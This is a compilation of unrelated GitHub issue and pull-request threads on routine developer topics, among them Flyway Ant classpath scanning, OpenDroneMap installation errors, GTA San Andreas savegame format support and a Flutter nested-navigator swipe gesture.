Also I added logging for unsupported data types, like of "video". Since I don't have any subscription that have posted video I have to ask you to try to run script against that creator and see in logs when a message popup. You will see red text that says: Unsupported data type: [type] and dumped example below. If videos aren't posted as files I would need an example. If it happens, then please create another issue specifically for video type of posts.


Errors after last update

Hi,
After last update i had this errors:
http://pastebin.com/T0qVdDuH
Can you help me please?
Best regards,
Shduack

Me too.

Me too

pip install -r requirements.txt --upgrade
Does that help?

^ Didn't work. The last merge messed something up in the login process.

No it really didn't. It's working fine.

Fixed


100% CPU usage

Using version v1.1.2 on AUR.

@AndreaOrru I recently merged a PR that might fix this issue, can you please verify whether the fix works for you?


Flyway Ant scans JAR files on the classpath

As a developer I want Flyway Ant to scan the content of JAR files on the classpath. With this functionality I don't have to unpack the artefacts and merge then into a location folder.
This works with a simple Ant build:
<?xml version="1.0" encoding="UTF-8"?>
<project name="FlywayTest" basedir="." default="main">

  <path id="lib.path">
    <fileset dir="lib" includes="flyway-*.jar,commons-logging*.jar,mysql-connector-java*.jar"/>
  </path>
  <taskdef resource="org/flywaydb/ant/antlib.xml" uri="antlib:org.flywaydb.ant" classpathref="lib.path"/>

  <target name="main" xmlns:flyway="antlib:org.flywaydb.ant">
    <path id="flyway.classpath">
      <pathelement path="flyway-migration" /><!-- *.sql, *.class and *.jar with migrations are located here -->
    </path>
    <property name="flyway.locations" value="classpath:" />

    <property name="flyway.schemas" value="test" />
    <property name="flyway.user" value="root" />
    <property name="flyway.password" value="1234" />
    <property name="flyway.url" value="jdbc:mysql://localhost:3306/?characterEncoding=utf-8" />

    <property name="flyway.validateOnMigrate" value="false" />

    <flyway:migrate />
  </target>
</project>

where flyway-migration contains:
**/*.sql
**/*.class
**/*.jar/**/*.sql
**/*.jar/**/*.class

@ttulka We are planning to discontinue support for the Flyway Ant tasks, starting with Flyway 5.0. Would you be interested in taking over the development? I could give you access to a new flyway/flyway-ant repo for this.

Sure, I would like to!

@ttulka I have created a new repo (https://github.com/flyway/flyway-ant) and invited you as a team member. You can use this the flyway-ant module from this commit as your starting point: https://github.com/flyway/flyway/tree/ac266f42a5d365c1ffb4df0030b3281bb76508b8
For publishing please use a new group id such as org.flywaydb.ant and also please set up your own docs (you can cops the existing ones as a start) and let me know the new address so I can link to them. Let me know if you have questions or need my help for anything.
Cheers!


Added Get api endpoint for getting user profile

Issue link / number:
https://github.com/chaynHQ/bloom-backend/issues/417
What changes did you make?
Added GET method endpoint for /v1/user/me to align with REST standards
Why did you make the changes?
Currently /v1/user/me endpoint deviates from REST patterns, therefore we have added a GET endpoint for the same. The current POST endpoint will be removed once the new GET endpoint is implemented on the front end.
<!--- PR CHECKLIST: PLEASE REMOVE BEFORE SUBMITTING —>
Before submitting, check that you have completed the following tasks:
- [ ] Answered the questions above.
- [ ] Read Chayn's Contributing Guidelines in the CONTRIBUTING.md file.
- [ ] Enabled "Allow edits and access to secrets by maintainers" on this PR.
- [ ] If applicable, include images in the description.
After submitting, please be available for discussion. Thank you!

hi @eleanorreem , let me know if any change is required. thanks!


fix: Nested Stacks

Fixes #1549

Added support for the Nested Stacks
Replace a deprecated method
Add some tests

Hey! I already did it :)

Hey! I already did it :)

Awesome I will review this PR later.
I am eating dinner.
感謝你😊

@neilkuan Hey! Any updates? :)

@neilkuan Hey! Any updates? :)

Please see code review comments. :)

@neilkuan

Please see code review comments. :)

I'm so sorry, but where can I find it? I don't see them in the conversation.


[deliver] set default ITMSTransporter transport flag to blank #16749

Checklist

[x] I've run bundle exec rspec from the root directory to see all new and existing tests pass
[x] I've followed the fastlane code style and run bundle exec rubocop -a to ensure the code style is valid
[x] I've read the Contribution Guidelines
[x] I've updated the documentation if necessary.

Motivation and Context
It solves issue https://github.com/fastlane/fastlane/issues/16749
Description
According to Apple's Transporter User Guide 2.0 documentation Apple recommends to not  specify transport option and let the tool to determine the best transport mode for packages. It is also visible in the comments, in the mentioned issue that setting this parameter to empty string, fix the issue.
Testing Steps
Try to use deliver or pilot to send build to TestFlight without DELIVER_ITMSTRANSPORTER_ADDITIONAL_UPLOAD_PARAMETERS ENV variable being set.

@googlebot I consent.


guide

Please tell me how to raise this project? What does this require?

This project is a mini Telegram app similar to Natcoin. The server-side of
this project is written in ASP.NET Core. To run the server-side, you need
to modify the appsettings file and provide the required information, then
execute it using the dotnet run command.
The client-side is written in Vue.js. To run the client-side, set the base
URL to point to the backend project. Additionally, open and execute the
Telegram bot link.
To communicate with you, please message me on the following ID in telegram :
https://T.me/MehrabAddress
On Sun, May 26, 2024, 9:21 AM MoguBse @.***> wrote:

Please tell me how to raise this project? What does this require?
—
Reply to this email directly, view it on GitHub
https://github.com/mamoloase/telegram-miniapp-game/issues/1, or
unsubscribe
https://github.com/notifications/unsubscribe-auth/BIKQZQTBZAM6WPS4BVJXBI3ZEFZ5FAVCNFSM6AAAAABIJQD67CVHI2DSMVQWIX3LMV43ASLTON2WKOZSGMYTONBZGYZTQOA
.


Superskill logo is replaced with instruo logo

Fixes  #143
Replace the logo with new Instruo logo.

@sadrisya  can you update the text "Take your hospitality management to the next level with Instruo." Also do test in mobile view and share screenshots


Feedback Form - broken link

Some of the help emails I get don't have the map-type stamped in the URL.
Like,
http://maps.stamen.com//#12/37.7706/-122.3782
http://maps.stamen.com/????????/#12/37.7706/-122.3782
From there, I can't tell which map style they're talking about unless they say something specific.
E.g.

Bug report from anonymous (<IP_ADDRESS>):
looking great

http://maps.stamen.com//#12/37.7706/-122.3782
--
feedback form @ http://maps.stamen.com/feedback.php

Replace and point to: https://github.com/stamen/maps.stamen.com/issues/new

Here's what I have right now.  @ericrodenbeck @mojodna @almccon -- could use some copy

Oops, we also need this for the fullscreen map pages. Any idea if that's easy to do?

And I think @sconnelley's copy is great! But we should remove the "See here for more info" that links to http://citytracking.org/some-known-bugs-and-whats-to-do/. That page is too old.

I removed the link to the old citytracking blog post, and I change the feedback form on all the fullscreen map pages to use the "create a new issue" approach. For the toner and terrain variants it directs the user to create an issue in the relevant repo. For the other map styles, it sends them to this repo (maps.stamen.com).
So the old feedback form is finally dead!


Allow text input instead of voice

It would be so awesome if you could bring up a text input similar to spotlight and use this input instead of voice. I find myself frequently wanting to use a smart assistant but am in a public area or at work where it would be weird to talk to my computer.

I like it! But no plans as of yet to incorporate that functionality in. Also I think Amazon lets you do that in their Alexa Developer portal.


Anchor file is unavailable

Hi,
I'm not sure what I'm doing wrong but I'm getting errors about an anchor file being unavailable even though as its displaying the error I can login to the docker container and ls the file. It happens constantly even with the network share and docker volume are mounted.
I have two anchor files specified as follows:
anchors::
  - /data/movies/autoscan-movies-anchor
  - /data/tv/autoscan-tv-anchor

They are empty files, the tv anchor never has issues.

Could maybe be a permission issue then?

Perhaps, though I had created both of them the same way. After stopping the container, recreating the files, and then starting it back up again the error is gone now. Not sure what the difference was honestly.

I know this has been closed for some time, but I am still seeing this issue. There's no rhyme or reason, and it happens on multiple hosts for me. I can restart the container and autoscan works just fine for a while, but eventually I will notice in Plex a lot of episodes/movies showing "unavailable" and I know to check the autoscan container logs because it's not scanning replaced files anymore. Sure enough, there will be a few days' worth of "anchor file unavailable" errors, even though the file is definitely available, can be listed inside the container console as well as in a terminal on the host. Restarting the container will resolve the issue, but it will happen again soon after.
Unfortunately, I have had to stop using anchor files and write my own cron script to re-mount my media if/when necessary. I have this script output any actions to a log, and in over a month it hasn't had to re-mount anything yet, so I'm not sure why autoscan says the anchor files aren't available. It's not a permission issue because it does work, it just inexplicably stops after a while.

This is super necro but stumbled across this issue when Googling the same issue. Turns out I accidentally made the local.anchor a folder/directory instead of an empty text file. Hope that helps anyone else stuck in a spiral of madness like I was. Also double check the filepath has read permissions to all groups, that was the initial cause of my error.

same for me... using mergefs with dropbox and local


Add compatibility with GTA San Andreas definitive edition

I have the Rockstar GTA definitive edition trilogy, the trainer does not work with that version

Hi,
could you send me a savefile?
The progress is not really important, as I need to add compatibility with the new file format (if anything changed).

Yes, here it is
Van: Lerk @.>
Verzonden: zaterdag 17 juni 2023 17:58
Aan: gtasa-savegame-editor/gtasa-savegame-editor @.>
CC: EHSBprogrammer @.>; Author @.>
Onderwerp: Re: [gtasa-savegame-editor/gtasa-savegame-editor] Add compatibility with GTA San Andreas definitive edition (Issue #179)
Hi,
could you send me a savefile?
The progress is not really important, as I need to add compatibility with the new file format (if anything changed).
—
Reply to this email directly, view it on GitHub https://github.com/gtasa-savegame-editor/gtasa-savegame-editor/issues/179#issuecomment-1595793680 , or unsubscribe https://github.com/notifications/unsubscribe-auth/BATYM5LOX7PTLQBLORG5BYDXLXHX3ANCNFSM6AAAAAAZJZQF7I .
You are receiving this because you authored the thread.  https://github.com/notifications/beacon/BATYM5OLJQGGWICIBXEJ3ITXLXHX3A5CNFSM6AAAAAAZJZQF7KWGG33NNVSW45C7OR4XAZNMJFZXG5LFINXW23LFNZ2KUY3PNVWWK3TUL5UWJTS7DXQRA.gif Message ID: @.*** @.***> >

Sorry, attachments don't seem to work with GitHub issue comment mails.
Could you please attach it to a comment using the web ui?

GTASAsf1.zip
I hope you have the file now

Have my files been helpfull? has the trainer been updated  for my gta version yet?

I mean the savegame editor, i'm a little mixed up between trainers and savegame editors

Unfortunately it seems like that edition of GTA:SA is using a different savefile format.
All the supported versions until the definitive edition used a savegame format with the extension .b, where the contained data was split into blocks using the literal ASCII text BLOCK as a marker. (our documentation about that format)
The savegame you've attached has the extension .sav and parsing with the savegame CLI fails completely because the BLOCK markers are not in there anymore.
Dumping the file next to the 100% savegame (using hexdump -C <file>) reveals that the new savefile format is very, if not completely, different from the current one, so adding support for it will not be that easy. :(

uh... it's a pity((

I can certainly help with implementation if someone manages to analyze the new format, but I am not very good at this.
I originally took maintainership to fix UI issues and add better compatibility with macOS and GTA:SA for macOS. 🙈

You can just rename to old format and it will be supported then you can rename it back for game to load it, it's how I did it before.

You can just rename to old format and it will be supported then you can rename it back for game to load it, it's how I did it before.

You mean that you changed .sav to .b and that made it work?
Are you sure that editing anything in the save and then saving it didn't corrupt it?
As far as I came with analysis the format is entirely different and neither editing nor loading an edited save should work. But I also don't have the Definitive Edition so I can't test it out :(

You can just rename to old format and it will be supported then you can rename it back for game to load it, it's how I did it before.

You mean that you changed .sav to .b and that made it work? Are you sure that editing anything in the save and then saving it didn't corrupt it?
As far as I came with analysis the format is entirely different and neither editing nor loading an edited save should work. But I also don't have the Definitive Edition so I can't test it out :(

I did exactly that, well I can just tell you you should avoid torrent sites and Dodi repacks those things can be dangerous if you don't watch out what you are downloading.

Hi, could you send me a savefile? The progress is not really important, as I need to add compatibility with the new file format (if anything changed).

My save file i hope it will help you, the editor asks for savegame file and gamefile and int does not accept both
GTASAsf1.zip

Good evening,
I saw in the reactions that with renaming I should be able to edit my GTA San Andreas Definitive Edition files with the save game editor.
If I try to start the dowloaded Windows file I can not start the executable because it needs Java Runtime Environment 11.
I tried to dowload the file that is linked bij the editor but it still does not work. What should I do to make it work? Could anyone help me please?
Thanks!

I just saw that there is a separate isue in github for this, i'll read that.

Dowloading Java JDK from Oracle made the editor start but renaming the savegamefile from .save to .b does not work at all.
I hope this will be fixed someday in the future.


Stuck on step 11

I think documentation is outdated. There is no install.sh file

hey were you able to fix the issue, because now i have the same issue.

Thanks for reminding me, I'll edit the README right now.

Thank you for the help.
On Thu, Jun 23, 2016 at 11:17 AM, Dakota Benjamin<EMAIL_ADDRESS>wrote:

Thanks for reminding me, I'll edit the README right now.
—
You are receiving this because you commented.
Reply to this email directly, view it on GitHub
https://github.com/OpenDroneMap/odm_vagrant/issues/11#issuecomment-228137436,
or mute the thread
https://github.com/notifications/unsubscribe/ATJed4rhOXWFZwfjV6L9l-HegCJNghH9ks5qOs3IgaJpZM4I3cr0
.

Another error came up in the process. Now when i run Open Drone Map It
begin the process, but gives me error code 256.
On Fri, Jun 24, 2016 at 8:55 AM, Guillermo Guevara<EMAIL_ADDRESS>wrote:

Thank you for the help.
On Thu, Jun 23, 2016 at 11:17 AM, Dakota Benjamin <
<EMAIL_ADDRESS>wrote:

Thanks for reminding me, I'll edit the README right now.
—
You are receiving this because you commented.
Reply to this email directly, view it on GitHub
https://github.com/OpenDroneMap/odm_vagrant/issues/11#issuecomment-228137436,
or mute the thread
https://github.com/notifications/unsubscribe/ATJed4rhOXWFZwfjV6L9l-HegCJNghH9ks5qOs3IgaJpZM4I3cr0
.

Error 256 is a generic error code. Can you copy-paste the text of the error?

I attached a screenshot of the error with the last email.
On Fri, Jun 24, 2016 at 10:40 AM, Dakota Benjamin<EMAIL_ADDRESS>wrote:

Error 256 is a generic error code. Can you copy-paste the text of the
error?
—
You are receiving this because you commented.
Reply to this email directly, view it on GitHub
https://github.com/OpenDroneMap/odm_vagrant/issues/11#issuecomment-228411558,
or mute the thread
https://github.com/notifications/unsubscribe/ATJed1ZGChoAgWDVpgW1dqSwlsydH13Rks5qPBaYgaJpZM4I3cr0
.

Could you try again? I think it failed to attach.

I think you have to post it on GitHub manually, not from email.

I'm new to GitHub so where would I post the code.
On Fri, Jun 24, 2016 at 10:47 AM, Guillermo Guevara<EMAIL_ADDRESS>
wrote:

On Fri, Jun 24, 2016 at 10:46 AM, Dakota Benjamin <
<EMAIL_ADDRESS>wrote:

I think you have to post it on GitHub manually, not from email.
—
You are receiving this because you commented.
Reply to this email directly, view it on GitHub
https://github.com/OpenDroneMap/odm_vagrant/issues/11#issuecomment-228413274,
or mute the thread
https://github.com/notifications/unsubscribe/ATJed8aKGO99mpk4ZvXs6ZP5SOn1AcXBks5qPBgTgaJpZM4I3cr0
.

https://github.com/OpenDroneMap/odm_vagrant/issues/11 you can drag and drop the screenshot into the text box

I posted the code
On Fri, Jun 24, 2016 at 10:56 AM, Dakota Benjamin<EMAIL_ADDRESS>wrote:

#11 https://github.com/OpenDroneMap/odm_vagrant/issues/11 you can drag
and drop the screenshot into the text box
—
You are receiving this because you commented.
Reply to this email directly, view it on GitHub
https://github.com/OpenDroneMap/odm_vagrant/issues/11#issuecomment-228415619,
or mute the thread
https://github.com/notifications/unsubscribe/ATJed293oiIdVcTNvSaiWz_Nh5OStbRBks5qPBpdgaJpZM4I3cr0
.

OK it worked. It looks like OpenSfM didn't install properly.
Rerun the installation instructions from bash configure.sh and you should be good.

i don't think i did it right.

Odd...
This error crops up from time to time but I've never been able to isolate it. Best thing to do at this point is remove all the directories in SuperBuild EXCEPT for cmake and the CMakeLists.txt file, then try rerunning bash configure.sh again. This will ensure a clean download and build of OpenSfM.
Sorry about the issues this is causing.

i got the exact same error message.

OK I've got one more thing to try, then I'm all out of ideas:
cd /odm_app/OpenDroneMap/SuperBuild/src/opensfm
python setup.py build
cd /odm_app/OpenDroneMap

This will manually build OpenSfM.
Lastly, it wouldn't hurt to try using run.sh instead of run.py. It does the same thing but ensures the environment variables are properly set.

after that do i run "run.sh" again or do i delete all the directories from superbuild again

No don't delete the superbuild stuff.
Just try running it.

it didn't work and i get this error message.

Do you have OpenCV installed somewhere else on your machine?

its in the SuperBuild Directory

So there was another issue https://github.com/OpenDroneMap/OpenDroneMap/issues/217 that has been solved. I'm done for the week but I will see if I can do anything on Monday.

ok thanks
On Fri, Jun 24, 2016 at 1:46 PM, Dakota Benjamin<EMAIL_ADDRESS>wrote:

So there was another issue OpenDroneMap/OpenDroneMap#217
https://github.com/OpenDroneMap/OpenDroneMap/issues/217 that has been
solved. I'm done for the week but I will see if I can do anything on
Monday.
—
You are receiving this because you commented.
Reply to this email directly, view it on GitHub
https://github.com/OpenDroneMap/odm_vagrant/issues/11#issuecomment-228457651,
or mute the thread
https://github.com/notifications/unsubscribe/ATJed4z14P53nnkCGBZZUK-Humjta7dxks5qPEIOgaJpZM4I3cr0
.

Now when trying to install opencv 2.4.11 i get another error message

THis vagrant machine you are running, is it fresh machine? You're trying to install OpenCV manually?


iOS swipe back gesture with nested navigators

I am having an issue with nested navigators in iOS. If I push a route from a child navigator, on iOS when I swipe from the left, the entire child navigator is popped, rather than just the current route. This is not an issue when using the AppBar back button for instance, which uses Navigator.of(context).pop() or in Android with the back button, where I am using WillPopScope to manage it there.
From what I can tell, it is down to the following line in _CupertinoBackGestureController calling navigator.pop: https://github.com/flutter/flutter/blob/master/packages/flutter/lib/src/cupertino/route.dart#L776
My question is, is there any way to override this behaviour, or to manage it in iOS in WillPopScope, which seems to be ignored at present?
Thanks

Hi @leesus
It seems you are asking for assistance on personal code. Please see https://flutter.dev/community for resources and asking questions like this,
you may also get some help if you post it on Stack Overflow and if you need help with your code, please see https://www.reddit.com/r/flutterhelp/
Please also read more about the new Navigator API which may cover this.
https://github.com/flutter/flutter/issues/45938
Closing, as this isn't an issue with Flutter itself. If you disagree, please write in the comments and I will reopen it.
Thank you

I do think it's more likely an issue with Flutter itself, visible with the line of code I attached. It appears impossible to use nested navigators alongside the iOS swipe back gesture.
Someone else raised more or less the exact same issue on SO which went unanswered: https://stackoverflow.com/questions/63034543/flutter-swipe-back-gesture-using-nested-navigators

Hi @leesus
Can you please provide your flutter doctor -v, your flutter run --verbose and a minimal complete reproducible code sample?
Thank you

getting the same issue, WillPopScope disables ios swipe gesture on nested navigator.

Hi @leesus
Looks like a duplicate https://github.com/flutter/flutter/issues/14203
Without additional information, we are unfortunately not sure how to resolve this issue.
We are therefore reluctantly going to close this bug for now.
Please don't hesitate to comment on the bug if you have any more information for us; we will reopen it right away!
Thanks for your contribution.


Builtin methods do not throw any exceptions

Closes #7333
Pull Request Description
For a specific subset of RuntimeException or Error, the invocation builtin method is wrapped in try {...} catch (ErrorType t) {...} and the exception is converted to either panic or a dataflow error. So far, we can handle only org.graalvm.truffle.api.dsl.UnsupportedSpecializationException. All the other exception types are not caught at all.
Important Notes
Checklist
Please ensure that the following checklist has been satisfied before submitting the PR:

[X] The documentation has been updated, if necessary.
[X] Screenshots/screencasts have been attached, if there are any visual changes. For interactive or animated visual changes, a screencast is preferred.
[X] All code follows the
Scala,
Java,
and
Rust
style guides. In case you are using a language not listed above, follow the Rust style guide.
All code has been tested:

[X] Unit tests have been written where possible.
[X] If GUI codebase was changed, the GUI was tested when built using ./run ide build.

Trying to catch all the Throwable and convert them to panics or dataflow errors is not a good idea:

com.oracle.truffle.api.nodes.ControlFlowException should not be caught at all.
Rethrowing Throwable would require incompatible method signature modification.


Add bodyScroll lock feature

Deprecated https://github.com/acrool/acrool-js-utils/blob/main/src/dom/bodyScroll.ts
bodyScrollDisabled is used with the light box, so you can consider adding it.

release test to 0.0.9-alpha.5

about this https://stackoverflow.com/a/63385318
change props to _onShow, _onHide


Fix code generation for shared + platform files, and #directives

When #if directives are present, they'd get (partially) copied into generated code, leading to compiler errors.
Also as @jmelosegui predicted, when a library has a (shared) libname.cs file and a (platform) libname.cs file, code generation would break the build.
This PR fixes both issues (one commit per issue).

done.


accessing a web service protected by basic authentication

Can I use detergent to access a service using that requires basic authentication (username/password) ? Can you provide an example?
Thanks

This should be possible by passing in http_client_options when using call.